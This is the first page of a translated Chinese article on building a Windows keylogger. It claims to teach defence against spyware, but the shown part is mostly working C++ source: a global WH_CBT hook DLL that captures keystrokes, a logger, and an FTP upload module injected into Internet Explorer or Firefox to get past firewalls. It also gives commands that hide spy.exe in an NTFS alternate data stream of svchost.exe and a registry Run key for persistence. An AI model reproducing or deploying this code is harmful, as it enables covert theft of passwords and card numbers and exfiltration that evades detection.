文/朱先忠编译
简介
本文将详细讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。
背景
基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕获击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕获用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。
一、键盘监视器的设计
下面是一个简单的,直接使用钩子技术实现的例子。
键盘监视器体系结构
键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。
 图为:键盘监视器体系结构 主模块Window过程代码如下:
/////////////////////////////////////////////////////////////////// // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // 目的:处理主窗口中的消息 // MSG_MY_WM_KEYDOWN - 处理应用程序键击 // MSG_MY_WM_SETFOCUS - 处理应用程序键击 // MSG_WM_UPLOAD_FILE - 处理一个FTP模块通知 // WM_DESTROY - 寄送一个退出消息并返回 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { if (message == MSG_MY_WM_KEYDOWN) return OnInterceptKeyStroke(wParam, lParam); if (message == MSG_MY_WM_SETFOCUS) return OnSetKeyboardFocus(wParam, lParam); if (message == MSG_WM_UPLOAD_FILE) return OnFileUploaded(wParam, lParam); switch (message) { case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } /////////////////////////////////////////////////////////////////// LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam) { //如果我们在登录一个新的应用程序,应该打印一个适当的头 if (g_hWinInFocus != g_hLastWin) { WriteNewAppHeader(g_hWinInFocus); g_hLastWin = g_hWinInFocus; } if (wParam==VK_RETURN || wParam==VK_TAB) { WriteToLog(’\n’); } else { BYTE keyStateArr[256]; WORD word; UINT scanCode = lParam; char ch; //把虚拟键代码转换成ascii码 GetKeyboardState(keyStateArr); ToAscii(wParam, scanCode, keyStateArr, &word, 0); ch = (char) word;
if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’) ch += ’A’-’a’; WriteToLog(ch); } return 0; } /////////////////////////////////////////////////////////////////// LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam) { g_hWinInFocus = (HWND)wParam; return S_OK; } /////////////////////////////////////////////////////////////////// LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam) { //记录上载成功 if (wParam) { DeleteFile(g_sSpyLogFileName2); } else { char temp[255]; FILE* f1=fopen(g_sSpyLogFileName,"rt"); FILE* f2=fopen(g_sSpyLogFileName2,"at"); while (!feof(f1)) { if (fgets(temp, 255, f1)) { fputs(temp, f2); } } fclose(f1); fclose(f2); MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName); } g_isUploading = false; return S_OK; } | 全局WH_CBT钩子
一个系统范围的钩子实际上是一个函数,它安装在当前运行的所有进程中,在被监视消息到达目标window过程之前予以监控。钩子过程用于监控系统中的各种类型的事件-例如击键等等。可以通过调用Win32 API函数SetWindowsHookEx来安装一个钩子过程并指定调用该过程的钩子类型。一个WH_CBT钩子过程在窗口取得焦点并在击键事件从系统消息队列被清除之前调用。所有桌面应用程序都在自己的上下文中调用一个全局的钩子过程,所以该钩子过程必须驻留在一个独立于应用程序的DLL中来安装钩子过程。
DLL共享内存区域
一段DLL共享内存区域实际上是一个所有的DLL实例都可以看到的内存变量。主模块把它的窗口句柄保存在钩子DLL的共享内存区域中-该DLL使所有的钩子过程实例能够把窗口消息邮寄回主模块中。
钩子过程共享内存区域并输出函数:
/////////////////////////////////////////////////////////////////// //共享的内存 #pragma data_seg(".adshared") HWND g_hSpyWin = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:.adshared,RWS") /////////////////////////////////////////////////////////////////// void CALLBACK SetSpyHwnd (DWORD hwnd) { g_hSpyWin = (HWND) hwnd; } /////////////////////////////////////////////////////////////////// LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam ) { if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam==VK_TAB) ||(wParam>=0x2f ) &&(wParam<=0x100)) { ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam); } } else if (nCode == HCBT_SETFOCUS) { ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);
if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL) { HINSTANCE hFtpDll; Init InitFunc; if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME)) { if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init")) { (InitFunc)((DWORD)g_hSpyWin); } } bInjectFtpDll = false; } } return CallNextHookEx( 0, nCode, wParam, lParam); } | 函数的主模块代码如下:
typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam); typedef void (WINAPI *SetSpyHwnd)(DWORD); HMODULE g_hHookDll = NULL; HHOOK g_hHook = NULL; bool InstallHook(HWND hwnd) { SetSpyHwnd SetHwndFunc; HookProc HookProcFunc;
if (g_hHookDll = LoadLibrary(SPY_DLL_NAME)) { if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd")) { //把主模块的HWND存储在共享存储区段 (SetHwndFunc)((DWORD)hwnd); if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc")) { if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0)) return true; } } } return false; } | 盗窃
一个间谍程序为了防止自己被探测到必须隐藏好自己的踪迹。它们主要涉及三个技术区域:文件系统,任务管理器,防火墙。
任务管理器盗窃
ADS(Alternate Data Streams)是一项NTFS文件系统特性,它能使你把文件数据送于存在的文件中而不影响它们的功能,大小或者资源管理器等浏览工具的对它们的显示。带有ADS的文件用本地文件浏览技术几乎是不可能检测到的。 一旦文件被注入该项特性,ADS即可被诸如传统的命令如type等执行。在激活时,ADS执行体以原始文件的方式出现并运行:你可以用Windows资源管理器等进程观察器来试验。使用这种技术后,不仅可能隐藏一个文件,而且可能隐藏一个非法进程的执行体部分。事实上,如果安装了NTFS系统,你是不可能本地式探测出以ADS方式隐藏的文件的。ADS特性不能够被取消(disabled),目前为止还没有办法来针对用户已经对其具有存取权限的文件限制这种特性。示例程序为了简明之目地没有使用ADS。
你可以用下例方式手工操作ADS。
Inject spy.exe to svchost.exe "type spy.exe > c:\windows\system32\svchost.exe:spy.exe" Run spy.exe "start svchost.exe:spy.exe" | 防火墙盗窃
大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我选择把FTP模块注入或者Internet Explorer或者FireFox。DLL注入将会越过大多数防火墙软件的检测,特别在FTP服务器在探听80端口时。钩子过程DLL(它由函数SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不允许的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。
下面是模块DllMain中的钩子过程:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char processName[255]; GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) ); strcpy(processName, _strlwr(processName)); if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe")) bInjectFtpDll = true; break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } | 启动
把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. |
示例程序把spy.exe作为一项新注册表值加入。
[1] [2] [下一页]
|